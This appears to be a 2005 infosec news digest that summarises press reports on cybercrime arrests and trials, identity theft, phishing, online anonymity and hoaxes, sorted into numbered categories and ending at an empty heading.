AMD is warning customers of potentially mislabeled PC and server chips after helping foil a counterfeit ring in Taiwan. The company alerted authorities to a problem in Taipei late last month. Raids at four sites led to multiple arrests for "re-marking" or reselling re-marked AMD Athlon, Athlon XP and Opteron processors. Re-marked processors have been tampered with and may have been illegally re-labeled with inaccurate frequencies, model numbers, or both. "We strongly recommend consumers and businesses buy AMD processors only from authorized distributors and certified resellers," AMD spokesperson Catherine Abbinanti said. AMD said customers can identify genuine AMD products by a so-called "Processor-in-a-Box" sticker. The label, which has been in place since 2003, includes a unique serial number and a 3-D hologram used for tracking, distribution, authenticity and warranty service.

1A2 Criminal hacker testimony in court or committees

Category 1A2 Criminal hacker testimony in court or committees

2005-07-05 Sasser worm author confession Germany prosecution Sven Jaschen

EDUPAGE; http://www.nytimes.com/reuters/technology/tech-crime-germany-sasser.html

AUTHOR OF SASSER WORM CONFESSES

Prosecutors in Germany have announced that Sven Jaschan, on trial for writing the Sasser computer worm, this week confessed to all charges against him. Regarded as possibly the most damaging computer worm ever released, Sasser and its several versions are blamed for crashing as many as one million computers around the world, affecting home users and companies including the European Commission and Goldman Sachs. Jaschan, who is 19 now and was a minor when he committed some of his crimes, had previously admitted to writing the worm; this week, he also confessed to data manipulation, computer sabotage, and interfering with public corporations. He faces up to five years in prison and paying restitution to those affected by Sasser. Monetary damages from the worm have only reached about \$150,000, but that number could easily rise into the millions if all those affected reported the damage. New York Times, 5 July 2005 (registration req'd)

1A3 Biographical notes on individual criminals (including arrests, trials)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-01-04 spam spyware Wallace FTC

NewsScan;

http://www.cnn.com/2005/TECH/internet/01/04/spyware.ap/index.html

'SPAM KING' AGREES TO CEASE-FIRE

Under an agreement with the Federal Trade Commission, a man dubbed the "Spam King" will stop distributing spyware until a federal lawsuit is resolved. In addition, Sanford Wallace has agreed to send online ads only to people who visit the Web sites of companies -- SmartBot.net of Richboro, Pennsylvania and Seismic Entertainment Productions of Rochester, New York. "The commission does believe this is great relief for consumers until the matter is ultimately resolved in the courts," says FTC lawyer Laura Sullivan. "This provides wonderful protection for consumers in the interim." Wallace's most recent exploits included sending pop-up messages to Microsoft Word users offering to sell software that would block the pop-ups (but according to the government, didn't work). In the 1990s he earned the nickname "Spam King" after spewing out as many as 30 million junk e-mails per day to consumers. (AP/CNN.com 4 Jan 2005)

[MK notes: This creep is widely known as "Spamford" Wallace. He started his direputable career as a junk faxer in the 1980s and went on from there. See for example "Sanford Wallace: Back to the Fax?" in WIRED (1998) < http://wired-vig.wired.com/news/culture/0,1284,9847,00.html >.]

Category 1.A3 Biographical notes on individual criminals (including arrests, trials)

2005-02-14 vandal jail prison WebTV hacking 911 guilty plea court trial fraud

NewsScan; http://www.siliconvalley.com/mld/siliconvalley/10902507.htm

NETWORK VANDAL FACES 10 YEARS IN PRISON

David Jeansonne, a 44-year-old Louisiana man, faces up to ten years in prison for hacking into WebTV. Jeansonne has pleaded guilty to having sent e-mail messages to about 20 subscribers in 2002, advising the recipients that they could change the display colors on their screens -- but in fact secretly resetting their dial-in telephone number so that they called 911 instead of the local modem telephone number when they tried to access WebTV. (San Jose Mercury News 14 Feb 2005)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-02-21 spim arrest New York instant messaging MySpace.com extortion

NewsScan; http://news.com.com/U.S.+makes+first+arrest+for+spim/2100-7355_3-5584574.html

FIRST SPIMMER ARREST

An 18-year-old New York teenager has become the first person to be arrested on suspicion of spimming. Anthony Greco allegedly sent 1.5 million messages hawking pornography and mortgages to users of MySpace.com's IM system, and was arrested in a sting operation in the Los Angeles Airport last Wednesday following an extortion attempt on his part. Greco believed he was flying to LA to seal a deal with the president of MySpace.com, whom Greco had threatened with publicizing his spim techniques if he were not granted an exclusive marketing arrangement that would have legitimized his spimming activities. Assistant U.S. Attorney Brian Hoffstadt says that while Greco's case marks the first criminal prosecution of instant message spamming, there may well be more to come: "We're just beginning to get the tip of the iceberg. This could be a new wave as online communities start up." (CNet News.com 21 Feb 2005)

Category1.A3Biographical notes on individual criminals (including arrests, trials)2005-05-06UK Britain Drink-or-Die criminal hacker cracker group software piracy conspiracy
fraud charge

EDUPAGE; http://news.zdnet.co.uk/software/0,39020381,39197662,00.htm

DRINK-OR-DIE CONSPIRATORS HEADED TO PRISON

A British court has sentenced three men to prison for their involvement in the so-called Drink-or-Die group, which cracked the copy protections on software and then distributed it over the Internet. The three men received sentences ranging from 18 to 30 months, while a fourth man received a suspended sentence; all were charged with conspiracy to defraud. Prosecutors alleged that the piracy ring cost software companies millions of dollars in lost sales, and the verdicts were seen by some as a strong, clear message to software pirates. Others were critical of the government's case, however, saying that the men should have been charged with copyright violations rather than conspiracy. Security expert Peter Sommer, who served as a witness for the defense, said the government has no way of proving how much the ring cost software makers. He said the conspiracy case cost the government significantly more money and took much longer to try than a copyright case. A spokesperson from the British Crown Prosecution Service said the charges were appropriate, commenting that the authorities do "not determine cases on the basis of how much they will cost to prosecute." ZDNet, 6 May 2005

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-06-08 criminal hacker US military targets Pentagon Washington DC UK British national extradition

EDUPAGE; http://www.theregister.com/2005/06/08/brit_hack_suspect_arrest/

PENTAGON HACKER ARRESTED, FACES EXTRADITION

A British man suspected of hacking into more than 50 computer systems operated by the U.S. government has been arrested in London and faces extradition to the United States. Gary McKinnon is accused of exploiting security weaknesses in computer systems at the Pentagon, NASA, and a number of military sites between February 2001 and March 2002. In one attack, McKinnon is said to have blocked access to 2,000 individual military computers in the Washington area. U.S. authorities said they spent \$1 million fixing the damage from the attacks, and a grand jury indicted McKinnon in 2002. McKinnon has been released on bail, and Karen Todner, McKinnon's attorney, said he would "vigorously" fight the extradition. "As a British national," she said, "he should be tried here in our courts by a British jury." The Register, 8 June 2005

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-06-13 data theft computer program personal information disclosure Social Security Numbers University of Texas Austin

EDUPAGE; http://chronicle.com/prm/daily/2005/06/2005061301t.htm

FORMER STUDENT CONVICTED OF STEALING DATA

A former student of The University of Texas at Austin has been found guilty of writing a computer program that stole names and Social Security numbers from about 37,000 students, faculty, and others associated with the university. The jury found Christopher Andrews Phillips not guilty, however, of intending to profit from the data he stole. Phillips, who is now a senior at the University of Houston, said he wrote the program as part of his computer training and never had any intention of using the information. The theft took place in 2002 and 2003, when Phillips's program made more than 600,000 inquiries to a UT database, trying to match names with Social Security numbers. UT officials detected the activity and traced it to Phillips, whose computer was seized with the program he wrote and the data it had harvested. Phillips faces up to six years in prison; had he been convicted of the other charges, he would have faced close to 30 years. Chronicle of Higher Education, 13 June 2005 (sub. req'd)

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category1.A3Biographical notes on individual criminals (including arrests, trials)2005-08-15e-mail marketer data theft conviction fraud Acxiom CorpEDUPAGE; http://online.wsj.com/article/0,,SB112406416615412935,00.html

SPAMMER SCOTT LEVINE CONVICTED OF STEALING 1.6 BILLION NAMES

A jury in Arkansas has convicted Scott Levine of stealing 1.6 billion computer records from Little Rock-based data vendor Acxiom Corp. The records included names, addresses, phone numbers, and other personal information that Levine's company, Snipermail.com, sought to use in direct e-mail marketing campaigns. In the case, the government presented evidence that Levine had used illegally obtained passwords of about 300 legitimate Acxiom customers to fraudulently access the records. Levine was convicted of 120 counts of unauthorized access to a computer, two counts of fraud for cracking passwords, and one count of obstruction of justice for trying to destroy evidence stored on Snipermail computers. Levine will be sentenced in January. Acxiom said that since the intrusion, it has improved security procedures for protecting data, including strengthening encryption systems and the company's ability to detect when unauthorized access takes place. Wall Street Journal, 15 August 2005 (sub. req'd)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-08-27 worm malicious code two arrests investigation Microsoft operating system OS FBI cybercrime

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/12488476.htm

TWO MEN NABBED IN WORM INVESTIGATION

Two men have been arrested in connection with an investigation into the Zotob worm, which surfaced in August and took advantage of a flaw in the Microsoft operating system. The worm affected computers at organizations including The New York Times, ABC, CNN, the Associated Press, and the Immigration and Customs Enforcement bureau. According to Louis M. Riegel, assistant director for cyber crimes at the FBI, Farid Essebar was arrested in Morocco, and Atilla Ekici was arrested in Turkey. Riegel said that Ekici had paid Essebar to write the worm, and the pair are also suspected of writing the Mytob worm, which was released in February. Zotob is able to infect computers even if users do not open any applications. As a result, some users are struck by the worm without knowing about it. Still, experts believe the damage from the worm has been relatively minor, given that the operating system most affected, Windows 2000, is more than five years old and that most organizations quickly patched the flaw that Zotob exploits. San Jose Mercury News, 27 August 2005

Category 1.43 Biographical notes on individual criminals (including arrests, trials)

2005-08-29 international arrest US computer worm probe Morocco Turkey FBI

DHS IAIP Daily; http://cnn.netscape.cnn.com/ns/news/story.jsp?flok=FF-APO -PL S&idq=/ff/story/0001/20050826/1558760757.htm&related=off&ewp =ewp_news_computer_virus

TWO ARRESTED IN U.S. COMPUTER WORM PROBE

Authorities in Morocco and Turkey have arrested two people believed responsible for a computer worm that infected networks at U.S. companies and government agencies earlier this month. Farid Essebar, 18, was arrested in Morocco, while Atilla Ekici, 21, was arrested in Turkey on Thursday, August 25, Louis M. Riegel, the FBI's assistant director for cyber crimes, said Friday. They will be prosecuted in those countries, Riegel said. Essebar wrote the code that attacked computers that run Miscrosoft operating systems and Ekici paid him for it, Riegel said. It's unclear they ever met, "but they certainly knew each other via the Internet," he said. Riegel said he does not know how much money changed hands. Miscrosoft and FBI officials also declined to estimate the monetary damage done by the Zotob worm and its variations. The worm disrupted computer operations in mid-August at several large news organizations, including The Associated Press, ABC, CNN, and The New York Times; such companies as heavy-equipment maker Caterpillar Inc.; and the federal Immigration and Customs Enforcement bureau. Official FBI statement: http://www.fbi.gov/pressrel/pressrel05/zotob_release082605.htm

Category 1A3	Biographical notes on individual criminals (including arrests, trials)
2005-09-07	hacking sentence University of Texas conviction

EDUPAGE; http://www.chron.com/cs/CDA/ssistory.mpl/metropolitan/3342919

UT HACKER GETS FINE, PROBATION

A former student at the University of Texas at Austin has been sentenced for hacking into the university computer system, a charge on which a federal jury convicted him in June. Christopher Andrew Phillips has been ordered to pay \$170,000 in restitution for his crimes and to serve five years of probation. Phillips was found guilty of damaging the university's computers and of illegally possessing close to 40,000 Social Security numbers. The jury acquitted him of intending to profit from the personal information he obtained. In addition to the fine and probation, Phillips is forbidden from using the Internet for five years except for school or for work and only under the supervision of his parole officer. In a statement, U.S. Attorney Johnny Sutton said, "[Phillips] found out the hard way that breaking into someone else's computer is not a joke." Houston Chronicle, 7 September 2005

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-10-25 file sharing peer-to-peer P2P Sweden music movie piracy conviction intellectual property rights violation copyright infringement

EDUPAGE; http://news.bbc.co.uk/1/hi/technology/4376470.stm

FILE SHARER CONVICTED IN SWEDEN

For the first time, a file sharer has been convicted in Sweden, a country long seen as soft on digital piracy. Indeed, the country only this past July passed a law against downloading copyrighted material. The conviction stems from a case prior to passage of the downloading law, when Andreas Bawer uploaded a movie to the Internet. Although the court found Bawer not guilty of downloading the film because the new law had not been put into place, it found him guilty of violating copyright law for distributing the film online. In its ruling, the court said, "Illegal material can in this way be spread quickly and reach many people, which can lead to heavy economic losses for the copyright owners." Because Bawer did not try to profit from his actions, the court decided to fine him rather than sentence him to prison. Bawer's attorney said his client had not yet decided whether he would appeal the verdict. Henrik Ponten of the Swedish Anti-piracy Agency praised the ruling, saying that Sweden has "taken the first step toward a functioning copyright law." BBC, 25 October 2005

1A4 Criminal hacker publications

Category 1A4	Criminal hacker publications
2005-07-11	Phrack magazine publication ending computer security mischief information
	exchange

EDUPAGE; http://software.silicon.com/security/0,39024655,39150241,00.htm

SECURITY COMMUNITY BEMOANS LOSS OF HACKER MAGAZINE

Long-time hacker magazine "Phrack" will stop being published this year after nearly 20 years as an information exchange for computer mischief, and at least some computer security experts believe computer users will be less safe after it is gone. Hackers have routinely undermined their own efforts by revealing their successes at compromising systems or causing other damage. Pete Simpson of computer security firm Clearswift noted that although the magazine makes computer exploits available to those who would use them to cause harm, by definition it also makes them available to the community of users working to protect computers from hackers. Simon Perry, vice president of security strategy at Computer Associates, said that security experts will still be able to find information about new exploits but that "Phrack was great as a one-stop shop" for such information. Simpson commented that after Phrack shuts down, younger hackers are likely to develop new vehicles to tell the world about their triumphs, once again leveling the playing field. Silicon.com, 11 July 2005

1A6 Criminal hacker psychology

Category 1A6 Criminal hacker psychology

2005-01-13 web vandalsim hackers Bruce Schneier crime psychology

NewsScan; http://tech.nytimes.com/pages/technology/index.html

SECURITY III: THE CRIMINAL CLASS

In an interview with journalist John Markoff of the New York Times, security expert Bruce Schneier suggests that the problem of Web vandalism has fundamentally changed in the last several years. Previously, hackers were mainly kids, engaging in hacking as a kind of intellectual challenge or a sport, but more recently hackers are coming mainly from criminals "in Third World countries, from Africa, South America, Asia, and the former Soviet Union" -- a development that makes life much harder for security officials. Schneier, whose latest book is "Beyond Fear," is founder and chief technology officer of Counterpane Internet Security. (New York Times 13 Jan 2005)

Category 1A6	Criminal hacker psychology
2005-06-08	criminal hacker penetration government computers damage estimate extradition
	flying saucers UFOs theory jail charge allegations accusations

RISKS; http://tinyurl.com/b6x5e

89

23

CRIMINAL HACKER "SOLO" ACCUSED OF BREAKING INTO US GOVT COMPUTERS TO FIND EVIDENCE OF UFO COVERUP

Rob Singh reported on the case in the London _Evening Standard_ newspaper:

Gary McKinnon, 39, was seized by the Met's extradition unit at his Wood Green home.

The unemployed former computer engineer is accused of causing the US government \$1billion of damage by breaking into its most secure computers at the Pentagon and Nasa. He is likely to be extradited to America to face eight counts of computer crime in 14 states and could be jailed for 70 years....

Most of the alleged hacking took place in 2001 and 2002.... Friends said that he broke into the networks from his home computer to try to prove his theory that the US was covering up the existence of UFOs. He is accused of a series of hacking offences including deleting "critical" files from military computers. The US authorities said the cost of tracking him down and correcting the alleged problems was more than £570,000. The offences could also see him fined up to £950,000 if found guilty on all charges.... [T]he US first issued an indictment against him in November 2002.

Prosecutor Paul McNulty alleged that McKinnon, known online as "Solo," had perpetrated "the biggest hack of military computers ever". He was named as the chief suspect after a series of electronic break-ins occurred over 12 months at 92 separate US military and Nasa networks.

McKinnon was also accused of hacking into the networks of six private companies and organisations. It is alleged that he used software available on the internet to scan tens of thousands of computers on US military networks from his home PC, looking for machines that might be exposed due to flaws in the Windows operating system.

Many of the computers he broke into were protected by easy-to-guess passwords, investigators said. In some cases, McKinnon allegedly shut down the computer systems he invaded.

The charge sheet alleges that he hacked into an army computer at Fort Myer, Virginia, where he obtained codes, information and commands before deleting about 1,300 user accounts....

1B3 Pedophilia, kidnapping, Netadoption fraud

Category 1B3 Pedophilia, kidnapping, Net-adoption fraud

2005-05-22 pedophiles police children parents Internet chat guidance warnings assault rape

http://www.news-

journalonline.com/NewsJournalOnline/News/Headlines/03NewsHEAD03052205. htm

INTERNET PEDOPHILE PREDATORS OFTEN UNPUNISHED

A report in the Daytona Beach News Journal Online summarizes police experience with pedophile predators. These adults prey on pre-teens and early teens, especially young girls. The number of predators is so high that police officers in training who pose as thirteen-year-old girls cannot keep up with the number of instant-messaging solicitations they receive within minutes to hours of going online. Police urge parents to get involved in their children's online experience and not to be punitive if children report inappropriate behavior by someone they have met online.

Http://www.news-journalonline.com/NewsJournalOnline/News/Headlines/03NewsHEAD03052205.htm

[MK adds: see the booklet "Cyber-safety for All" available free at http://www2.norwich.edu/mkabay/cyberwatch/cybersafety.pdf Anyone may make copies of this guide for free distribution.]

1B9 Non-virus hoaxes, urban myths

<i>C</i> .	100		
Category	1B9	Non-virus hoaxes, urban myths	

2005-11-22 FBI warning e-mail scam fraud Internet Crime Complaint Center

DHS IAIP Daily;

http://www.cnn.com/2005/TECH/internet/11/22/email.scam.ap/index.html

FEDERAL BUREAU OF INVESTIGATION WARNS OF E-MAIL SCAM

The Federal Bureau of Investigation (FBI) issued an alert Monday, November 21, about a scam involving unsolicited e-mails, purportedly sent by the FBI, that tell computer users that their Internet surfing is being monitored by the agency. The users are told they have visited illegal Websites and are instructed to open an attachment to answer questions. The FBI did not send these e-mails and does not send any other unsolicited e-mails to the public. The FBI is investigating the scam. Recipients of these e-mails are asked to report them by visiting the Internet Crime Complaint Center. Internet Crime Complaint Center: http://www1.ifccfbi.gov/strategy/051122.pdf

1C2 Identity theft

Category 1C2 Identity theft

2005-01-12 ID identity theft sentencing crime Teledata prison

NewsScan; http://www.latimes.com/technology/la-fi-idtheft12jan12

IDENTITY THIEF DRAWS 14-YEAR PRISON TERM

A former help-desk worker at Teledata Communications, which provides banks with access to credit information, was sentenced to 14 years in prison for his role in the largest identity theft in U.S. history. U.S. District Court Judge George B. Daniels called the damage to victims caused by Philip A. Cummings "almost unimaginable," involving tens of thousands of individuals and caused losses of between \$50 million and \$100 million. Daniels noted the case "emphasized how easy it is to wreak havoc on people's financial and personal lives." (AP/Los Angeles Times 12 Jan 2005)

Category 1C2 Identity theft

2005-01-27 **ID** identity theft wallet checkbook study offline study

NewsScan; http://apnews.excite.com/article/20050127/D87SE8NO0.html

MOST IDENTITY THEFT OCCURS OFFLINE

Despite growing concerns over online fraud, a new study conducted by the Better Business Bureau and Javelin Research finds that most cases of identity theft can be traced to a lost or stolen wallet or checkbook, rather than vulnerable online financial data. Computer crimes make up just 12% of all ID fraud cases in which the origin is known, and half of those are attributed to spyware that sneaks onto computers and steals private information. (AP 27 Jan 2005)

Category 1C2 Identity theft

2005-02-22 ChoicePoint theft consumers ID identity theft

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A45534-2005Feb22.html

PROTECTING YOURSELF AGAINST IDENTIFY THEFT

Consumers worried that their personal and financial data may have been captured by the criminals who scammed the ChoicePoint company are being assured by the Private Rights Clearinghouse: "If you don't receive a letter from ChoicePoint within the next 10 days, you can be assured you have not been a victim of this identity theft." Even so, you should always check your monthly bank and credit card statements to make sure all charges are valid, and you should review your credit reports at least once a year. If you do get a letter from ChoicePoint, follow its instructions, visit the FTC Web site, and obtain the affidavit credit bureaus require to place a long-term fraud alert on your account. And keep reviewing your credit history! (Washington Post 22 Feb 2005)

Category 1C2 Identity theft

2005-04-27 software programs security data breach blame concerns identity theft fraud

EDUPAGE; http://online.wsj.com/article/0,,SB111455367943717582,00.html

CONCERNS MOUNT OVER SOFTWARE'S ROLE IN DATA BREACHES

A number of retailers are pointing to software used at store checkouts as the weak link in the rash of recent security breaches. Magnetic strips on credit cards include--along with the credit card number--a three-digit code. Knowing that code can allow criminals to create counterfeit cards with embossed names that do not match the name attached to the account number. With that, a crook could present a photo ID that matched the name on a card, while the charge goes against an entirely different account. Software that handles credit card purchases is supposed to delete card numbers and the three-digit codes after a transaction, but several retailers now say that the systems keep those numbers in memory. John Shaughnessy of Visa USA said that a computer system that retained those numbers would be extremely tempting for criminals. Some retailers have filed suits against the makers of the software, seeking compensation for losses resulting from recent hacks. At least one software company, Micros Systems, rejected retailers' contentions, saying its products do not store such information. Wall Street Journal, 27 April 2005 (sub. req'd)

Category 1C2	Identity theft		
2005-05-11	social engineering fake bank machines identity theft fraud		
RISKS; http://tinyurl.com/cwhpd 23 89			89
FAKE ATMs IN ROMANIA USED FOR IDENTITY THEFT			
Audacious thieves in Romania have constructed a complete automated teller machine (ATM), minus the cash box, to steal the details of account holders. Fake ATMs have appeared at apartment buildings or in areas of the capital where there are no banks. Usually criminals only place a fake panel over an existing ATM, and do not construct a complete machine. Romania's biggest bank, Banca Comerciala Romana (BCR), said customers should only use ATMs situated around bank branches. "Banks do not install ATMs in blocks of flats," BCR spokesman Cornel Cojocaru said. [Abstract in RISKS by James Bauman]			

Category 1C2	Identity theft	
2005-05-29	identity ID theft education program Department of Education DVD thief interview	
EDUPAGE; http://www.nytimes.com/2005/05/30/national/30fraud.html		

COLLEGES LEARN ABOUT IDENTITY THEFT FROM AN IDENTITY THIEF

As part of its efforts to increase awareness about student loan fraud, the Department of Education is distributing a DVD to colleges and universities of an interview with a convicted identity thief. As part of his plea agreement, John E. Christensen was interviewed by authorities to create the DVD, in which he describes how, over a period of three and a half years, he used the identities of more than 50 individuals to defraud the government of more than \$300,000 in federal student grants and loans. Each year, the Department of Education disburses about \$65 billion in financial aid. In the interview, Christensen, who is serving his prison sentence in Arizona, explains how he fraudulently obtained personal information and used it to register for classes and apply for financial aid. Because financial aid processes take place largely online, defrauding the government is "becoming easier and easier all the time," said Christensen. "You never have to see anybody." New York Times, 29 May 2005 (registration req'd)

Category 1C2	Identity theft
2005-08-26	cyber scam fraud identity ID theft security firms FBI Sunbelt Software keylogging virus dissemination

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4186972.stm

CYBERSCAM CONTINUES APACE

A recently discovered identity-theft scam continues to cause problems for Internet users, despite efforts by security firms and the FBI to stop it. Security firm Sunbelt Software uncovered the scam accidentally while investigating spyware. Sunbelt located an Internet server whose log files contained personal information harvested by keylogging from many thousands of users. The company notified the FBI, and the server was shut down soon afterwards, only to resurface later. Each time the servers are taken down, more of them appear elsewhere. The keylogging software, which is circulated by a computer virus, captures private information from users and transmits it to one of the rogue servers.

The FBI is working to find out who is operating the servers. In the meantime, Sunbelt has developed a tool that searches for the malicious software, which is has named Srv.SSA-KeyLogger. BBC, 26 August 2005

Category 1C2 Identity theft

2005-11-17 identity theft Secret Service sting Operation Firewall fraud guilty plea

EDUPAGE; http://www.wired.com/news/infostructure/0,1377,69616,00.html

FEDS WIN GUILTY PLEAS IN ID THEFT RACKET

Six individuals caught in a Secret Service sting called Operation Firewall pleaded guilty to conspiracy to commit credit and bank card fraud and ID document fraud. Two other individuals involved in the scam previously pleaded guilty to the same charge. All were among 19 who were indicted last year, charged with running a private-access Web site where people from around the globe bought and sold sensitive information, such as Social Security numbers, credit card numbers, and fake IDs. The ID theft ring is thought to have trafficked in more than 1.5 million credit card numbers, close to 18 million e-mail accounts, and other information that was used to buy and sell merchandise online. One who pleaded guilty, Wesley Lanning, specialized in making and selling fake IDs. His attorney, Marc Leibman, said that although Lanning sold most of the IDs to teens to use to buy beer, "obviously everyone is concerned that some...militant is going to get one of Wesley Lanning's fake IDs and use it to transport a bomb." Wired News, 17 November 2005

Category1C2Identity theft2005-12-07study identity theft risk exaggerated ID Analytics fraud detectionEDUPAGE; http://money.cnn.com/2005/12/07/technology/id_study.reut/STUDY SAYS RISK OF ID THEFT EXAGGERATED

A new study conducted by California-based fraud detection company ID Analytics found that the risk of identity theft may not be as high as many believe it to be. The company analyzed data concerning four incidents in which sensitive information for roughly 500,000 people was compromised. ID Analytics followed the data for six months and found that the risk of having your identity stolen based on compromised information is relatively small. Further, the study showed that the greater the number of people affected in a breach, the lower the chances were that anyone would have their identity stolen. The company went on to say that efforts to notify every individual affected when sensitive information is illegally accessed might be doing more harm than good. Rather than notify everyone, according to ID Analytics, a company should spend its time and money helping consumers who are actually affected by a data breach. CNN, 7 December 2005

1C4 Anonymity

Category 1C4	Anonymity
2005-12-11	GAO government accountability office bad WHOIS database anonymity spamming scamming phishing privacy

RISKS; http://www.internetnews.com/ent-news/article.php/3569521 24 12

WHOIS DATABASE RISKS

A U.S. Government Accountability Office (GAO) report in Nov 2005 says that there are roughly 2,310,000 Web addresses for which the owner or contact information is unknown. That represents 5% of all .com, .net, and .org domain names. This provides anonymity for spammers, scammers, phishers, and other illegal activities, and untraceability for malware-containing sites.

[Abstract by Peter G. Neumann]

Dag-Erling Smørgrav rebuts (RISKS-24.13):

It also provides relative anonymity for people like paralegal Pamela Jones, who operates groklaw.net, an award-winning web site dedicated to reporting on and analyzing "legal events important to the [Free and Open Source Software] community". Her relentless digging into the SCO lawsuits has made her the target of harassment and defamation by SCO and its supporters, such as journalist Maureen O'Gara -- ask Google for the sordid details.

Also in RISKS-24.13, Dave Bell remarks:

I just hope that the GAO knows the difference between "unknown" and "withheld". My domain name is registered in the UK, and because of UK and European data protection laws applying to personal data, the WHOIS doesn't return certain information.

[Summary by Karthik Raman]

Category 1C4	Anonymity	
2005-12-11	anonymity defamation libel risk threat Wikipedia free online encyclopedia	
RISKS	24	12

ANONYMITY AND BAD WIKIPEDIA CONTENT

John Seigenthaler Sr. (a former editor of *The Tennessean* in Nashville, and founder of the First Amendment Center) was startled to find an entry on himself in Wikipedia that included defamatory false personal information about him -- for example, suggesting that Mr. Seigenthaler had been involved in the assassinations of John and Robert Kennedy. Mr. Seigenthaler then wrote an op-ed article in *USA Today*, noting among other things that he was especially annoyed that he could not track down the perpetrator because of Internet privacy laws.

The culprit's IP address led to his employer by Daniel Brandt of San Antonio -- who has been a frequent critic of Wikipedia after reading false information about himself! See his www.wikipedia-watch.org.

This led Brian Chase in Nashville to admit having written the offensive material as a joke, stating that he thought that Wikipedia was a "gag" Web site.

[Abstract by Peter G. Neumann]

Dr Neumann adds:

Coincidentally, that story broke on about the same day that the December 2005 issue of the *Communications of the ACM* came out, the inside back cover Inside Risks column of which is "Wikipedia Risks"

http://www.csl.sri.com/neumann/insiderisks05.html -- written by four long-time RISKS contributors, Peter Denning, Jim Horning, David Parnas, and Lauren Weinstein who are on my ACM Committee on Computers and Public Policy. This case points up just one of the risks associated with Wikipedia noted in the Inside Risks article, namely that of having an encyclopedia contributed by thousands of volunteers, with few controls on content.

RISKS contributor Ian Halliday follows up (RISKS-24.13) by saying he does not buy Brian Chase's argument:

The claim that "he thought Wikipedia was a gag site" (RISKS-24.12) seems unlikely, and I see it on a par with those who say "no, I was just doing research" when caught hacking/visiting dubious web sites. Yet this seems to have caught the attention of some parts of the media who don't usually see visiting those sites as plausible research. The suggestion is that it is reasonable for somebody to be so mistaken as to think Wikipedia is a "gag" site. While some of the information there may not be 100% accurate, it's hard to see how this apparently mistaken view can be seen as a genuine defence.

[Summary by Karthik Raman]

1C5 Phishing

Category 1C5	Phishing		
2005-02-01	phishing authentication digital signatures e-mail Web URL		
RISKS		23	69
LOOKS LIKE A PHISH, SMELLS LIKE A PHISH			

John Pettitt wonders in RISKS why institutions are failing to use digital signatures on what otherwise look like phishing scams:

I just got this in my e-mail.

>Dear Cardmember,

Your 2004 Year-End Summary is now ready to view online. To access your Year-End Summary, please log in to http://americanexpress.com/yearendsummary2004 <http://www65.americanexpress.com/clicktrk/Tracking?mid=IUYES03020050201053636024433&msrc=ENG-YES&url=https://www124.americanexpress.com/cards/yes/yes_home.jsp?campaignid=Jan_email_05>.

With the online version you can view charges by merchant name, date, or charge amount; view your spending, spending of an Additional Card, or everything at once; and print and save your Year-End Summary for future use. As a *new* feature this year, you can also use business and personal check boxes to sort your annual transactions.

We look forward to serving you.<

As far as I can tell it's real - the sites it links to have certificates that are issued to Amex. However there is no way to tell without clicking the link and checking the certificate (something I teach my users not to do) that the mail really came from Amex. Even the message headers show it originating from aexp.com which sounds close but then so do the best phishing scams.

Given that a large percentage of the world now uses s/mime capable mailers (Outlook, Outlook express, Thunderbird, Mozilla, etc.), why is it that institutions are still sending unsigned e-mail?

Category 1C5 Phishing

2005-03-31 Microsoft lawsuits John Doe phishing scams

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8051350

LAWSUITS TARGET PHISHERS

Microsoft has filed 117 "John Doe" lawsuits against operators of Web sites involved in phishing scams. Phishers send e-mail messages that purport to be from a bank or other financial services institution. The e-mails tell recipients that they must visit a Web site and disclose personal information, typically under the pretense of updating account records or something similar. Disclosed information is then used for credit card fraud and other types of identity theft. Microsoft said it was filing the lawsuits in an effort to discover who is behind the largest phishing operations and put them out of business. Microsoft's Aaron Kornblum said, "We must work together to stop these con artists from misusing the Internet as a tool for fraud." Reuters, 31 March 2005

Category 1C5	Phishing
2005-06-29	phishing phishers prison sentence UK Britain personal information stolen money trafficking FBI Hi-Tech Crime Unit US Secret Service

EDUPAGE; http://news.com.com/2100-7348_3-5766860.html

PHISHERS LOCKED UP

Two men have been sentenced to prison in Britain for orchestrating a phishing scheme that used stolen identities to pilfer as much as 6.5 million pounds over two years. Douglas Harvard and Lee Elwood were sentenced to six and four years respectively for their parts in the phishing ring, which authorities said garnered at least 750,000 pounds during one 10-month period. The men allegedly worked with individuals in Russia to traffic in personal information and the money stolen using that information. Mick Deat, deputy head of Britain's National Hi-Tech Crime Unit, issued a statement thanking the U.S. Secret Service and the FBI for their assistance in the investigation. The statement also expressed Deat's hope that the convictions will discourage others who might consider such scams. CNET, 29 June 2005

Category 1C5	Phishing
2005-09-26	phishers phishing Yahoo! Photos target fake sign-in

DHS IAIP Daily; http://www.snpx.com/cgi-bin/news55.cgi?target=110977854?-2622

PHISHERS TARGET YAHOO! PHOTOS

Phishing attacker are attempting to capture a user's Yahoo! ID and password by sending out fake sign-in pages. Users are receiving an email or instant message that claims to be from a friend wanting to show off photos. The message contains a link to a phishing site, which records the user's Yahoo! ID and password, and then forwards the Yahoo! ID and password on to the real Yahoo! Photos site.

Category 1C5	Phishing
2005-10-03	phishing Anti-Phishing Act 2005 scam fraud California law
EDUPAGE;	

http://informationweek.com/story/showArticle.jhtml?articleID=17120267

CALIFORNIA PASSES ANTI-PHISHING LAW

A tough new anti-phishing law makes California the first state to pass legislation targeting that particular brand of online scam. The Anti-Phishing Act of 2005 makes it a crime to use "the Internet or other electronic means, to solicit, request, or take any action to induce another person to provide identifying information by representing itself to be a business without the approval or authority of the business." Identifying information includes Social Security numbers, credit card numbers, passwords, PINs, and other information that can be used to steal from individuals. Those found guilty of phishing are subject to fines of \$2,500 per violation, as well as damages to victims of either actual losses or \$500,000, whichever is greater. InformationWeek, 3 October 2005

Category	1C5	Phishing
Surgory	102	1 1515151115

2005-11-29	fraud scam identity theft phishing anti-phishing DHS SRI report
------------	---

RISKS; http://www.anti-phishing.org/Phishing-dhs-report.pdf	;	11
---	---	----

DHS ANTI-PHISHING REPORT

